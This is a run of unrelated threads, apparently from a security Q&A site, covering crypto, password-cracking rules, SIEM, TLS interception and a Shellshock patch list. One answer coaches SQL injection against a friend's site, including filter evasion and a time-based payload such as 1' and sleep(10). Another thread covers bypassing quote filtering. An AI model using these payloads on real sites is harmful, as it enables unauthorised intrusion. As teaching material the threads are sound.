Looking at the specification in MTProto.  I'm not sure to understand the question completely but I believe that you ask if the 'atomic' elements of MTProto can loose effectiveness by poor coupling.
-AES-256 is used for encryption, this is acceptable.
-SHA1 as a hash function is acceptable at the moment.
-Diffie-hellman for key establishment ok (provided there is authentication).  The key established later derives one key for encryption with freshness (time and sequence number) to provide entity authentication.

The only issue I can see for this protocol is if DH is not authenticated.  If this is not the case, anyone would be able to generate the encryption key (both with shared-key obtained in a MITM and the source of freshness transmitted in clear).

For end to end they use AES-256 as well. The fingerprint looks kind of lame though (and re-uses the encryption key).

digest = md5(key + iv)
fingerprint = substr(digest, 0, 4) XOR substr(digest, 4, 4)

In addition it seems they use AES in ECB mode, that kind of sucks as well, but still, overall the protocol seems 'OK' for normal users.  If you are Snowden or Assange perhaps use something else just in case ;)


De-auth attack Reason codes and possible reaction I am learning about Deauth attacks and how they work. I see that the Deauth frame has a reason code which indicates the reason for the deauth. I have tested the attack with aircrack-ng and this reason code always translates to "Class 3 Frame received from non associated station".
Do other attack tools have the ability to spoof/tamper the reason code or is it always the same?

Second part of my question is about post attack scenario. Victim can black list the MAC which sent the Deauth frames but that MAC will be of the legitimate Access Point or another client. What are the options for a victim ?

Based on code from http://www.sans.org/reading-room/whitepapers/wireless/programming-wireless-security-32813 , I would say that, yes, other attack toolkits can change the reason code.

One option for the victim is to use Protected Management Frames: http://en.m.wikipedia.org/wiki/IEEE_802.11w-2009


SIEM log pre-filtering question As everyone knows each company wants to save as much money as possible. I have been tasked with pre-filtering logs on less important status/health messages before they get to the SIEM.

Does anyone see the risks involved when pre-filtering before going
to SIEM?
Why would someone not do this and or is there a benefit of doing so
if you have the resources?
Saving money on per log basis is that worth pre-filtering before it
gets to the SIEM?

There are two reasons why pre-filtering is done: to save on the EPS (Events Per Second) rate and to reduce the noise. Every SIEM technology has a maximum EPS analysis capability which are restricted either by the hardware or by the software license. When events exceed that limitation, the SIEM server begin to drop the packets. That is why you would only want to bring in only those events which have significant security implications.
But even more important than the EPS is to reduce the events so that your analyst(s) can analyse those events manually. Although SIEM technology can automate many event correlation activities, initially you need an analyst to go through each of the received log or traffic event manually in order to determine whether it is true positive or false positive. When you overwhelm the system with a lot of noisy events that do not have a security implication, not only are you burdening the system hardware and software resources but you are actually over burdening the analyst in analysing those events as well.
Based on my experience, you need to understand that an effective SIEM solution is the one which are analysing only security events. Many a times people want to let the SIEM analyse and co-relate many non security events as well. At times that might be useful such as correlating the system health information with the received traffic logs in case of a denial of service attacks, however, in most of the cases pre-filtering all non security logs and events and forwarding only the relevant logs to your SIEM will make the system as well as the SIEM analyst more efficient.


Is PassFace Authentication System secure? In the passface authentication system, whether the passfaces are selected by the users or assigned by the system?

Is such system secure? How is user's passface stored on the server side?

Well it all depends on the number of faces you can choose from. Let's compare it with another, often-used two-factor mechanism: one-time passwords.

A one-time password often contains 6 numbers. Thus, there are 10^6th possibilities: 1000000. The chance of a hacker guessing your OTP is 1/1000000. Generally, this is considered to be a pretty high chance, compared to a good password (lower case, upper case, symbols, numbers). Passwords can be one out of, let's say, 98^10 (for there are 98 possible characters, and in case the password has a length of 10). 98^10 equals to 81707280688754689024. 1/81707280688754689024 is a much lower chance than 1/1000000. However, OTPs are secure because they are only valid one time and a limited amount of time, you can block brute-forcers etc. etc., that's not the point of your question.

So okay, considering we should compare apples to apples, we can compare the passface system with the OTP system. I did a demo on the passface website, and to login, I had to select 1 out of 9 faces, and repeat that three times. So the amount of possibilities is 9^3 = 729. A hacker has thus 1/729 chance to find my combination right from the first time, which is an enormously higher chance than 1/1000000 and even an infinite higher chance than 1/81707280688754689024.

  Edit: Some sources note that the passface database contains more than 9 faces, and that they may dynamically change upon each try.
  Depending on how many faces there are in the database, the above
  calculation is thus not entirely correct. However, I want to point out
  that, in case the faces do change upon each try, that renders the
  system even less secure. The hacker could just retry a few times and
  see which faces change, and which faces remain the same (the ones that
  you chose have to remain in the faces set of course). Analysing this a
  bit more, the attacker could then easily reduce the search space.
  End of edit.

That chance is thus HUGE compared to other known systems (such as passwords, OTPs, keyfiles, etc.). So no, if the demo is a real-life implementation of the passface system, I would not deem it secure. Of course, some other measures matter:

Is there a lock-out after a certain amount of tries?
Is it 'just' used as a second factor?
How often does the combination change? (i.e. how often do you need to learn new faces)

As an endnote: I saw that the passface system is marketeered as a 'replacement' for passwords, and that the 'overriding' password can only be used after a few days. If that is the case, I would say it is completely insecure, as the passface system is then the only factor.

By the way, I didn't go into details as to how Passface stores the faces. Probably just in a db, but anyway, my point is that even if the system itself is completely secure, the maths behind it just aren't.


Backup personal email on VPS - privacy, security and trust risks FastMail.fm hosts my personal email account. Now they claim to have reliable backup services, but I'd like to have my own copy of my email archives.

What I'd like to do is back up to my VPS, which has a very good internet connection and is always online, unlike my laptop. Some problems with this approach:

The credentials to my personal email account would have to be stored on the VPS
Plaintext email backups would be stored on the VPS

Solving problem #1 is my primary concern. FastMail offer alternative logins with limited access: No password resets, 1 hour time limit after first use, 100x OTPs. Can't think of any sane way around it. Perhaps there is none.

Problem #2 can be solved with GPG, using my public key to encrypt. Though, I supposed somebody could still listen in by teeing the pipe.

I do not own any servers/desktops, so a backup to my own physical machine is not possible.

The CISSP - Business Continuity Planning section deals with the problem of secure backups.  Implementing a secure backup system is predominantly a problem where Nature is main threat,  and an insecure backups create the possibility of data compromise.  By addressing one threat,  you are introducing a different threat.

When building any new security system it is best to start with a Threat Model.  In this model you must clearly define Actors,  your adversary and the resources you are protecting.  In the case of email backing up email.  State sponsored actors will already a copy, so it is too late to address this threat.

To address some of the threat imposed by nature; backup data to a
replicated storage device such as RAID-1,  Amazon-EBS devices are
also replicated.
To address the threat of data compromise on a VPS or backup device; sensitive data must always be encrypted at rest.  Most backup software has this feature,  Bacula is a secure example.  The "decryption master-key" must not be stored on the backup device.  Data is downloaded from the backup device to a trusted machine and then decrypted for use.
To address the threats imposed by data transfer; ensure that all
backups are transmitted over a SSL/TLS connection. SFTP, HTTPS, or a VPN
can be used to satisfy this requirement.


How do I solve a lot of Failure Audit (529 680) which are appearing in event viewer “Security” tab? was trying to consume an Web Services that I have published on the Web but I couldn't thing is that when I got into the server and check the "Event Viewer" I have a LOT of "Failure Audit" and they keep coming as we speak.

So I guess someone is trying to hack in my server. How can I solve this?

Most likely noone is trying to hack your server. At least not based on the information provided.

There isn't any harm - actually any problem whatsoever - in getting audit failure events on a public facing web facing server. IIS provides a number of authentication mechanisms.

These failures occur when one method is tried (and fails). The next method in the list takes over and it works as it should.

One of my web servers only takes domain authenticated requests. IE always tries unauthenticated first, so I get hundreds of thousands of these events (albeit with different ID numbers since I'm on 2008 R2) a day.

On a related note you should really look at upgrading. Server 2003 is end of life in June 2015 and 2000 is long since dead. Really had to think about what ID numbers you were referring to.


Will typing my password twice make it more secure? Or typing each character twice? If I type my password twice (like: PwdThingPwdThing), OR type every character twice (like: PPwwddTThhiinngg) will that make it substantially more secure than it already is?

Assume that it is already 8 or 9 characters, consisting of upper and lower case, digits and one or more special characters.

(Also assume that I didn't tell anyone that I am doing it this way, although I just told the world... Doh!)

I ask because I would like more security in a way that I can still remember, and this would be an easy change to make and recall. Thank you.

Let's try skipping theory and going straight to practice.

Will typing the same word twice (or N times) substantially help?

John the Ripper Jumbo has a variety of "simple rules" about this

d duplicate: "Fred" -> "FredFred"
f reflect: "Fred" -> "FredderF"

oclHashcat rules based attack has simple rules just for this, too

d  Duplicate entire word   d   p@ssW0rd    p@ssW0rdp@ssW0rd
pN     Append duplicated word N times  p2  p@ssW0rd    p@ssW0rdp@ssW0rdp@ssW0rd
Reflect    f   Duplicate word reversed     f   p@ssW0rd    p@ssW0rddr0Wss@p

Therefore, no, this bit of cleverness is so common it's included explicitly in both common rulesets already for use by itself, or in combination with other rules.

OR type every character twice

John the Ripper Jumbo has an example specifically about this in the documentation

XNMI extract substring NM from memory and insert into current word at I is the core rule
"<4X011X113X215" (duplicate every character in a short word) is the example in the documentation to cover exactly your case for short passwords

.

oclHashcat rules based attack has simple rules just for these kinds of attacks

q  Duplicate every character   q   p@ssW0rd  pp@@ssssWW00rrdd
zN   Duplicates first character N times   z2   p@ssW0rd   ppp@ssW0rd
ZN   Duplicates last character N times   Z2   p@ssW0rd    p@ssW0rddd
XNMI  Insert substring of length M starting from position N of word saved to memory at position I    lMX428    p@ssW0rd     p@ssw0rdw0

Therefore, no, again, this is such a common bit of cleverness that it's called out explicitly in both major open source cracking products.

Assume that it is already 8 or 9 characters, consisting of upper and lower case, digits and one or more special characters.

The other rules in those products very likely cover everything you're doing already, and it's also likely that whatever combination you have is already included in a ruleset applied to a reasonable cracking wordlist.

oclHashcat alone comes with twenty five different files full of .rules, including d3ad0ne.rule with more than 35,000 rules, dive.rule with over 120,000 rules, and so on.
a large number of wordlists are available, some of which may include your exact password - the Openwall wordlist alone has a single 500MB file of more than 40 million words including mangled ones
and I'm personally aware of both small, very good wordlists (phpbb, et all) and huge, comprehensive wordlists with literally billions of entries, taking up many gigabytes of space total.

As with everyone else, you need to use try randomness or something like an entire sentence worth of personal anecdote that does NOT use words in a top 5000 list of common English words, and does use long, uncommon words (to force combinatorial attacks using much larger dictionaries).

Specifically look, for example, for words selected at (good) random included in Ubuntu's insane english ispell dictionary list that are not included in the standard english ispell dictionary, for example.


Surveillance threat modeling applied to social categories I am researching users threat models for a documentary film dedicated to surveillance. The idea is to identify the threat model (asset to protect, attacker, attacker's capabilities, threat, risk of an attack) of different categories of people to help create a better understanding of surveillance and counter-surveillance tactics.

For example:

A US citizen might want to protect some assets (i.e. sensitive information) from trackers to avoid a credit rating/ banking credentials from a black-hat hacker.
A journalist in Germany working on an insider trading scandal will need to protect his source from his employer in order to get his story out without a trial.
A Kurdish activist living in Ankara needs to communicate with his fellows to publish a forbidden fanzine. His group is scrutinized by Turkish authorities. (...)
Others categories could be: human rights researcher, teenager being bullied, LGBT...
I also try to identify the threat model of people who would be less at risk and to whom "normal/random" people could easily relate to: a lawyer, an entrepreneur with an innovative technology, a doctor, a professor......

I didn't find much on this approach on the net, a part from the EFF Surveillance Self Defense guide, this interesting article, a slate and a wired story.

What are your thoughts on this approach? Do you find it relevant/reducing to apply a threat model to social categories, considering their environment/regime they live in?

I am looking for material/reads related to the issue.
Forgive me if I misused some concepts, still new to the topic.

The problem with threat models is that they require deep, technical understanding of the subject and the capabilities of the threats. Your 4 scenarios would require very different threat models, and they are not something you can cover in a documentary.

For instance, every place the data touches has its own threat model. The data on your computer, the data in transit, the data at rest at the destination, and the meta data created at every point.

Instead of delving deep into the threat models at each point, one could apply a risk model (likelihood, impact) at each point and focus on addressing the highest risks. If every threat point is a high risk (even storing data on your computer), then you have other problems. If there is one point that has a higher risk (data in transit) then you can mitigate that problem.

So, my advice is to expose the risks at every point along the data's path, and apply the typical risk mitigations at the points where there is higher risk.


HTTPs token Parameters : UDIAuthToken For HTTPs I saw the URL was configured in https://test.com/xml/Transformer=TEST&UDIAuthToken= < string of alphanumeric chars, 160 in count >

<< this a dummy hostname, with dummy parameters used for example >>

This set up was done to send xml file via HTTP.

I am new to such configuration and I am not able to figure out how exactly its functioning.

Transformer=TEST : I am thinking it to be user id ( unique account id ), pl correct me if it is some other parameter, and how to get it ?

UDIAuthToken= I am not understanding what exactly this parameter is, and how we get it ? Is this a Hash o/p of the ssl certificate?

Thankfully I am enormously competent with the Internet, and my incredibly extended experience made me aware of a very convenient, if somewhat confidential, service called Google. Interacting with this service for "UDIAuthToken" uncovered some pretty deep secrets, in particular that this parameter appears to be connected with a product called OMX from OrderMotion -- apparently a software platform for doing e-commerce. A parameter called "UDIAuthToken" is shown as part of some XML-based syntax in this document with this comment: <!---- Info. by OM --->

From this information, I infer that the "UDIAuthToken" parameter is a value which, from the API user's point of view (that's you), is quite opaque and is supposed to be provided "as is" by the software vendor. Thus, it probably encodes some license information. 160 hexadecimal characters means 80 bytes; with Base64 it would be 120 bytes. That's more than a simple hash; that's actually enough to do some serious cryptography, including encryption and signatures. IF this cryptography was done properly (an always risky bet, given the average competence of developers in the whole industry), THEN you would have a hard time forging a fake value for this parameter that the server would accept. After all, the point of licensing tokens is to remain under exclusive control of the software vendor.


Can I look up email address from a PGP/GPG fingerprint? If I know a PGP fingerprint, can I query a keyserver to find out what email address(es) it is associated with?

Yes you can, just take that fingerprint remove spaces and add 0x at the beginning.

Then make a search query:

https://keyserver.cns.vt.edu/pks/lookup?search=0x...


Server returns 403 when I try SQL injection I am trying to pentest my friend's site. It is clearly vulnerable to SQL injection attack based on the error messages I get from entering different get parameters.

Whenever I try very simple attacks containing SQL commands such as %27%20or%201=1%20 which is ' or 1=1 I get a 403 error page. I also get a 403 message whenever I try using an SQL command such as union, select, -- or /**/. The site is a php site with a MySQL database. Is this some sort of WAF (web application firewall) he has setup? If so do you have any advice on how to defeat it?

Trying a parameter like %0b%271%0bor%20%271%27=%271 returns the following error:

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1or '1'='1' and test = '0' and version = '1'' at line 1

If the website is returning an SQL syntax error to you, then you definitely have found an SQLi vulnerability.  You're not dealing with a WAF (sometimes it can be hard to tell the difference).  It also means that, conveniently for you, he has error printing turned on.  That makes it much easier to tell what is going on.  That's also a vulnerability he should fix.

That being said, onto the SQLi!  Getting the payload syntax right can be tricky.  However, the error message will help a lot.  I'd look at this part:

'1or '1'='1' and test = '0' and version = '1''

Note that MySQL itself wraps single quotes around the part that it says is broken, so if we should remove the outer single quotes we can see what MySQL is actually trying to execute:

1or '1'='1' and test = '0' and version = '1'

Which is mildly confusing because it doesn't match your payload very well ('1 or 1=1).  This likely means that he is doing additional translations behind the scenes to try to mitigate SQLi.  Unfortunately (for him) his ad-hoc implementation definitely isn't foolproof (since you're producing MySQL errors).  Most likely the actual query he is executing is:

WHERE column='?' and test = '0' and version = '1'

With the question mark standing in for the vulnerable parameter.  This would normally be very easy to exploit, except that he seems to be doing some strange transformation to your data.  In that sense, he may be doing something that is like a WAF in nature, so you'll have to do some playing around to build a successful PoC.  I'd try something very different, like a SLEEP based injection:

1' and sleep(10)

Simply by virtue of having a different "form" of the payload, you may evade his "filter".  If the server takes ~10 more seconds to return the response, then you know you have a successful payload!  From there you can try to build different kinds of payloads for extracting information, etc...


Recovering encrypted SD card after Android Factory Reset I was using Active Sync on my Android Galaxy S2 and as a result it enforced encryption of the phone and SD card.
Phone did a factory resync and now data on SD card is still encrypted.
Is there a way to recover the data off the SD card?
Is the key required to decrypt the SD card stored on the card?
Is there any external software I can use to recover the SD card contents?

There seems to be some debate over whether or not the SD card can be encrypted; Android did not support external media encryption when it was introduced, and the current state of that feature seems to vary significantly between the various versions of Android.

The most authoritative source I can seem to find is from a forum post (the author may be a Google Software Engineer:

  2012/1/10 Marc Blank : The answer here is somewhat
  nuanced.  ActiveSync can require that the device and/or sd card be
  encrypted, and we enforce those policies in ICS; however, ICS does not
  have the ability to encrypt removable storage (i.e. SD cards). So
  here's what happens:

  1) In all current versions of ICS (up to 4.0.3), we accept the
  "encrypt device" requirement and reject the "encrypt sd card" in all
  cases (reject = we don't allow the account to be created/synced on
  device) 2) In the next update to ICS, we will also accept "encrypt sd
  card" if and only if the device is encrypted and it has no removable
  volumes (this is true of the Nexus S and Galaxy Nexus); on these
  devices, all internal storage is encrypted when device encryption is
  enabled.

  Having said that, the Email/Exchange application never stores emails
  other than in internal storage; however, user can still choose to save
  attachment files to "sd card" (which may or may not be external)
  unless, of course, the ActiveSync policies are set up to disallow
  loading of attachments.

  Does this make sense?  Sorry if it's complicated, but ... that's how
  it is!

  Marc

Having said that, in general I agree with the comment by Polynomial - it will probably be impossible to recover the contents of the SD card.


Is CVV calculated or merely assigned? Is the 3-digit (4-digit for those acolytes of standardization, American Express!) CVV/CSV/CVC calculated from card number and expiration date, or is it merely assigned?  I know that once when I got a renewed Visa, it had the same 16-digit account number, different expiration date, and different CVV2.

I've seen some hints that CVV/CSV/CVC can be calculated, but those were in marketing collateral for a credit-card-processing appliance whose name I can't remember maybe 10 years ago. It would seem that compromising such an algorithm would be a very bad thing indeed, but the whole of the credit card industry is riddled with dumb ideas.

CVV is calculated:

  [CVV Generate] verb generates a CVV that is based on the information that the PAN_data, the expiration_date, and the service_code parameters provide. This verb uses the Key-A and the Key-B keys to cryptographically process this information.

Source: https://www.ibm.com/support/knowledgecenter/en/linuxonibm/com.ibm.linux.z.wskc.doc/wskc_r_csg.html

This calculation can only be done by the card issuer due to the use of a pair of Cryptographic keys which is known only to the card issuer.


how does AES encryption's algorithm actually work? can anyone actually explain in simple and plain terms, how does AES encryption algorithm works? i can guess that the only significant distinction between AES-128 and AES-256 is their key size and NOT their algorithm,

There is a nice explanation there, as a comic strip. It is probably as clear and simple as these things can ever get.

If you are more mathematically inclined, you can read the FIPS-197 standard which is quite readable for a standard; but it helps a lot to have some non-negligible background in algebra (especially finite fields of characteristic 2, and vector space).

AES-128, AES-192 and AES-256 are similar algorithms, but with distinct numbers of rounds. AES is described as a sequence of elementary operations called rounds; rounds are (mostly) identical except that they use distinct subkeys (extracted from the main encryption key), and they are successive (each round takes as input the output of the previous round). AES-128 has 10 rounds, AES-192 has 12 rounds, and AES-256 has 14 rounds. The computation of subkeys, called the key schedule or the key expansion, also differs a bit between the three variants: with a larger key, the key schedule must work over, indeed, a larger key, and must also output more subkeys since there are more rounds to feed.


bypassing metacharacter filtering So I am trying to bypass metacharacter filtering.

I want to know how do you start an injection. For example if the ' is filtered how do you begin the input.

If i did ' or 1=1# without filtering it would work. But since the ' is filtered how do you begin an injection. I tried hexidecimal 27 or 1=1#.

It's going to depend on which characters are being filtered, the specifics of the filter, as well as the specifics of the SQL injection vulnerability.

Filters can be bypassed with encodings that are interpreted differently by the filter versus the browser, the injection may be possible without the character (if the string is not quoted), a different character can be used sometimes, or two injections can be used in conjunction to escape quotes in a useful way .

OWASP has an XSS Filter Evasion Cheat Sheet (originally started by RSnake) which collect a lot of these techniques.


OWASP Zap proxy Fuzz XSS pentest against REST API I am looking to PEN test my application against XSS attacks.

The application is a REST API... As such when you POST some JSON to /cart/add to see the result of that attack you would need to GET /cart.

So far I have figured out how to successfully use Fuzzer to make XSS attacks to my application.

However it expects the response to contain the data it just submitted.

I guess what I need is a two step approach to Fuzzer.

Make attack request to POST /cart/add
Assert if attack was
    successful by requesting GET /cart

Does anyone know how I can do this?

Is your application returning HTML when you GET /cart ?
If it is then you could try using the ZAP persistent XSS scanner - that should inject XSS attacks via the POST and then check all of the URLs where the payload is displayed.

If the GET doesnt return html then it all depends how that data gets used.

FYI we have a ZAP Users group which is probably more suitable for questions like this: http://groups.google.com/group/zaproxy-users Thats linked off the ZAP "Online / ZAP User Group" menu item, which is apparently invisible as no one seems to spot it ;)

Simon (ZAP Project Lead)


Should a webserver's access to certain directories be limited? There was a security update to Roundcubemail today and I just patched my web/mail -server. Within the update files, there was some recommendations to restrict webserver's access to certain directories. Is this necessary, and if it is, how should I go about implementing it in Nginx?

  Check .htaccess settings (some php settings could become required)

I literally have no idea what I'm supposed to look for in .htaccess settings. Additionally:

  Access through the webserver to the following directories should be
  denied:

  /config
  /temp
  /logs

  Roundcube uses .htaccess files to protect these directories, so be
  sure to allow override of the Limit directives to get them taken into
  account. The package also ships a .htaccess file in the root directory
  which defines some rewrite rules. In order to properly secure your
  installation, please enable mod_rewrite for Apache webserver and
  double check access to the above listed directories and their contents
  is denied.

I'm running Nginx, not Apache, and I found this - basicly Nginx advising people to not use .htaccess due to performance reasons.

Nginx should indeed have access blocked to arbitrary locations on your filesystem. In short, if it doesn't need access, don't give it any, because that limits the damage it could do. This applies to both read and write, and can be done by running nginx as its own user (probably the default on your system), not adding that user to common groups, and being restrictive about your filesystem permissions on the rest of the system (i.e. don't use 777 just because you're having troubles getting the right permission set). You may also wish to look into SELinux for more advanced controls.

The warning you have there is an extension of that idea. Outside users don't need to be able to read your nginx config, but the nginx user does. These files should never be located in one of your document roots, but nonetheless you should have nginx rules that block any requests to them (the specifics of the rules is off-topic for here, but would fit well on Server Fault).


What FDE (with hardware encrypted drives) for OS X works? I'm trying to get all of our laptops doing FDE (as I'm sure lots of you are), and I've run into a problematic spot.  Our Windows and Linux laptops are Dells, and they have some good BIOS integration with the Seagate drives (such as the ST9160314AS).  That's working well.  However, on the Mac, the BIOS support (well, EFI support) just isn't there.

A coworker tried WinMagic, which claims to support these drives, but have a slew of issues that killed the project at the time (lockups, slow OS, bad interaction with FileVault).  I'd really like to get it working.

Is there anything that will work for me?  FileVault is better than nothing, but it slows the machines down noticeably when doing heavy IO (which is common for our users, being Java developers).  One of the available software FDE packages (such as PGPDisk) would probably work, but I doubt it would be much faster than FileVault.

Also, if someone with some rep could create some tags for me (fde, winmagic, filevault), that would be awesome.

FWIW PGPDisk works ok on Mac OSX in my experience, had it running on a MacBook Pro with Leopard without any major issues (although I wasn't doing much in the way of heavy development with it, so hard to guage the performance hit)


Does changing DNS help prevent MITM on ISP level? A few days ago Kazakhstan gov-t passed a law to enforce using gov-t signed SSL certificates on all https traffic on all (almost) ISPs. So when you visit https://google.com your browser will warn that the certificate is untrusted and you must have to trust or install those certificates manually.

In short, you use gov-t issued certificates to encrypt your traffic which is then decrypted again on ISP level to be then encrypted again by the original (valid) certificates before being sent to the websites you access. Which basically means ISPs can do whatever they want with your data as if you were using HTTP all along.

AFAIK, one solution would be using a trusted VPN service. However this drastically worsens the usage experience and essentially makes you trust to the VPN Provider (which majority don't care to check).

So my question is: if I were to change my DNS to say, 1.1.1.1 by Cloudflare, will it prevent my ISP from acting as a middle-man?

Edit: if it won't help, what can I do to protect my privacy?

Does changing DNS help prevent MITM on ISP level?

In short: very likely just changing the DNS server will not help.

There are several technologies an ISP might use in order to redirect or MITM the traffic of a customer:

ISP provided DNS server returns a different IP address
This relies on the fact that most users will use the DNS server of the ISP. This is usually used for blacklisting specific sites and is a cheap option to do this. It does not work well for large-scale (all-domain) MITM since it somehow must return a different ISP-owned IP address for each domain or hope that their is a clear-text hostname in the TLS ClientHello (i.e. SNI).   A way around this is to use a custom DNS server.
ISP redirect any outgoing traffic to port 53 (DNS) to their own DNS server.
This is done so that the ISP's DNS server with the implemented blacklists is enforced even if the user has configured its own custom DNS server. This is a bit more expensive but still scales well. But it also has the same problems for large-scale MITM.It can be worked around by using DNS over HTTPS (DoH).
Deep Packet Inspection or transparent proxies.
Since the ISP is in the path of all traffic it can play active MITM on all traffic. But this is really expensive since it must check all traffic if this is TLS and then (and only then) intercept the rest of the connection. Easier would be to inspect only the common ports like 443  and accept that HTTPS on other ports will be missed.
This can be worked around by VPN, Tor or other tunnel technologies - as long the ISP still allows arbitrary traffic.
Mandatory proxy and deny most other traffic.In this case the customers must not only add the government CA but also explicitly configure a proxy. Any direct traffic which is not using the proxy gets blocked (i.e. Tor, VPN, tunnels...) , maybe with the exception of some protocols to send and receive mail etc. This is easier for the ISP than the last option and it guarantees a broader coverage, but not all applications can deal with proxies so that some applications might not work.

  if it won't help, what can I do to protect my privacy?

It depends on how the MITM is done and how it is enforced (both technically and legally). If you are lucky a VPN or Tor or some SSH tunnel or similar will work and use of these will also not cause legal trouble for you.

In general the workaround is to use something which gets not analyzed. Given that some applications outside the browser do SSL pinning (I think Dropbox on Windows) and that the government might want to allow these applications to work, they might have whitelists for domains which gets not intercepted. This can be used by custom tunnels which look like they have traffic for these domains but in reality connect to somewhere else. But note that with some advanced traffic analysis such misuse can be detected by the ISP and might be treated as unlawful.


How to enforce on the OS level to recognise only certain keyboards I give employees AES wireless keyboards.
I would like to enforce the OS to only recognise the keyboard we supply.
Is that possible?
Assuming my employees OS are Windows 10, Ubuntu, Mac OSX.

How could it be done?
I wasn't able to find how to enforce it just where to buy keyboard which is encrypted.

Windows

The short version is that you would want to install only the drivers you've approved. Then enable the following via Group Policy (or Local Group Policy). Your USB keyboard and USB mouse will adhere to this setting as will any USB device.

System\Device Installation\Device Installation Restrictions\
 Prevent installation of removable devices

Description of this setting is as follows:

  This policy setting allows you to prevent Windows from installing removable devices. A device is considered removable when the driver for the device to which it is connected indicates that the device is removable. For example, a Universal Serial Bus (USB) device is reported to be removable by the drivers for the USB hub to which the device is connected. This policy setting takes precedence over any other policy setting that allows Windows to install a device.

  If you enable this policy setting, Windows is prevented from installing removable devices and existing removable devices cannot have their drivers updated. If you enable this policy setting on a remote desktop server, the policy setting affects redirection of removable devices from a remote desktop client to the remote desktop server.

  If you disable or do not configure this policy setting, Windows can install and update device drivers for removable devices as allowed or prevented by other policy settings.

For a far more detailed explanation, see Step-By-Step Guide to Controlling Device Installation Using Group Policy. While it was last updated in 2007, the information is still applicable.

Mac and Ubuntu

Super glue?


Man-in-the-middle scenario for TLS Consider the following scenario: You want to securely communicate with a.com and you only trust the VeriSign root certificate.

a.com presents a certificate signed by VeriSign with CN=a.com, so you trust you are indeed communicating with a.com.

Eve has also obtained a certificate from VeriSign for her site b.com. This way, she could create a new certificate with CN=a.com and sign it with the certificate she obtained from VeriSign.

This way, Eve has a certificate for CN=a.com signed by her certificate for b.com, which is signed by VeriSign itself, so you would trust it, too. What is to stop Eve from performing a man-in-the-middle attack?

Eve could sign a certificate stating "a.com" as name, with her private key, but Bob's browser will not accept it. When Bob's browser validates a certificate chain, it verifies all signatures, but not only the signature. The complete validation algorithm is intricate; see the standard. In this case, Bob's browser will raise a metaphorical eyebrow when applying check (k) from section 6.1.4: Eve's certificate is a "version 3" certificate, but does not contain a Basic Constraints extension, or its Basic Constraints extension has the cA flag set to FALSE.

In short words, though certification is a kind of power delegation, the power to issue certificates is specified to require explicit delegation, and is not done by default. As @Terry says, commercial CA can grant sub-CA certificates, with the cA flag set to TRUE, but they will charge a lot for that. In fact, they will contractually bind the sub-CA to honour the Certification Practice Statement of the CA (see there for the CPS of Verisign). The contractual obligations include a lot of big money talks with insurances and things like that, so that a sub-CA Eve who would issue fake certificates would be blasted into oblivion by the legal retaliation from Verisign. They make no prisoner.

Things used not to work that way in the past. The first version of X.509 did not support extensions, so clients had to find some other way to verify whether a given entity had the CA power or not. This was inconvenient, because browsers had to choose between embedding a growing list of "allowed sub-CA", or simply trust all certificates with CA power (thus allowing your attack). Note that up to year 2003 or so, there was a bug in Internet Explorer: IE did not check the Basic Constraints extension at all ! When this was discovered, it was promptly patched, of course...


What operating systems and devices are known to be affected by Shellshock? What patches are available? This is intended to be a Community Wiki to document which operating systems and devices are known to be affected by the Shellshock vulnerability (and related vulnerabilities), and what patches are available.

The CW list should contain the following pieces of information:

Name of product affected.

(Include affected versions, if possible.)

Patch availability status.
Links to references:

Vendor/researcher confirmation that the product is affected.
Vendor patch notice and/or download page. (If available.)

Note that this is not the place to post original research, nor is this intended to be an in-depth examination of how certain products are affected. It's simply to list affected products and available patches.

Currently, there are six vulnerabilities generally being categorized under the umbrella of "Shellshock":

CVE-2014-6271
CVE-2014-7169
CVE-2014-7186
CVE-2014-7187
CVE-2014-6277
CVE-2014-6278

A product doesn't need to have patches available for any, or all, of these in order to be listed. The minimum criteria to list a product here is that there is public confirmation from a reputable source stating that one or all of the above CVEs apply to the product. If vulnerability confirmation or patches are still unavailable for a product, for some of these CVEs, please still list the product and what information is available.

Do not add a product to this list, or claim a patch is available, without providing a reference to either a vendor-issued notice or documentation by another researcher.

Please do not post separate answers. The first answer should be flagged as Community Wiki, so anyone can add to or change it later as needed.

Below are products for which vendor statements or reputable research has been found to confirm their vulnerability status. Additional information may also be available at the following sites:

US-CERT - The United States Computer Emergency Response Team

Alert (TA14-268A)
Vulnerability Note VU#252743

Shellshocker.net - Website dedicated to Shellshock vulnerabilities. Maintained by the Medical Informatics Engineering IT team.

DISCLAIMER: This is not by any means a comprehensive list of affected products, nor does it necessarily represent all of the information or patches that are currently available for the listed products.

Inclusion of information in this list simply means that someone has found Shellshock-relevant information and has cared to add it to the list. Omission of details does not necessarily mean that a product is not affected, or patches are not available.

If a product you use, is not listed below, and you are unsure of whether or not it is affected by Shellshock-related vulnerabilities, you should contact the product vendor yourself. You should also contact the vendor with your concerns if their product is listed, but status for one or more vulnerabilities is not. If the vendor provides links to publicly-accessible statements regarding how their products are affected and what remediation options are available, please add them to this list.

Last Update: 2014-09-30 00:30Z

Amazon Linux

Affected Versions:  (Unspecified)

CVE-2014-6271

Vendor confirmation & remediation instructions: ALAS-2014-418

CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

Vendor confirmation & remediation instructions: ALAS-2014-419

CVE-2014-6277, CVE-2014-6278

No data (2014-09-29 23:30Z)

CentOS

Affected Versions:  5 through 7 (Per vendor notice. Earlier versions unconfirmed.)

CVE-2014-6271

Vendor confirmation & remediation instructions: [CentOS] Critical update for bash released today.

CVE-2014-7169, CVE-2014-7186, CVE-2014-6277

Vendor confirmation & remediation instructions: [CentOS] Critical update for bash released today.

CVE-2014-7187, CVE-2014-6278

No data (2014-09-29 23:30Z)

Cisco

Affected Products:  (Multiple - see advisories for details.)

CVE-2014-6271, CVE-2014-7169

List of affected & non-affected products, and remediation instructions: Cisco-SA-20140926-bash

CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278

No data (2014-09-29 23:30Z)

Debian

Affected Products: (Unspecified)

CVE-2014-6271

Vendor confirmation & remediation instructions: DSA-3032-1

CVE-2014-7169, CVE-2014-7186, CVE-2014-7187

Vendor confirmation & remediation instructions: DSA-3035-1

CVE-2014-6277

Vendor status page (patch status indeterminate as of 2014-09-30 00:00Z): CVE-2014-6277

CVE-2014-6278

Vendor status page (patch status indeterminate as of 2014-09-30 00:00Z): CVE-2014-6277

Gentoo

Affected Products: (Unspecified)

CVE-2014-6271

Vendor confirmation & remediation instructions: GLSA-201409-09

CVE-2014-7169

Vendor confirmation & remediation instructions: GLSA-201409-10

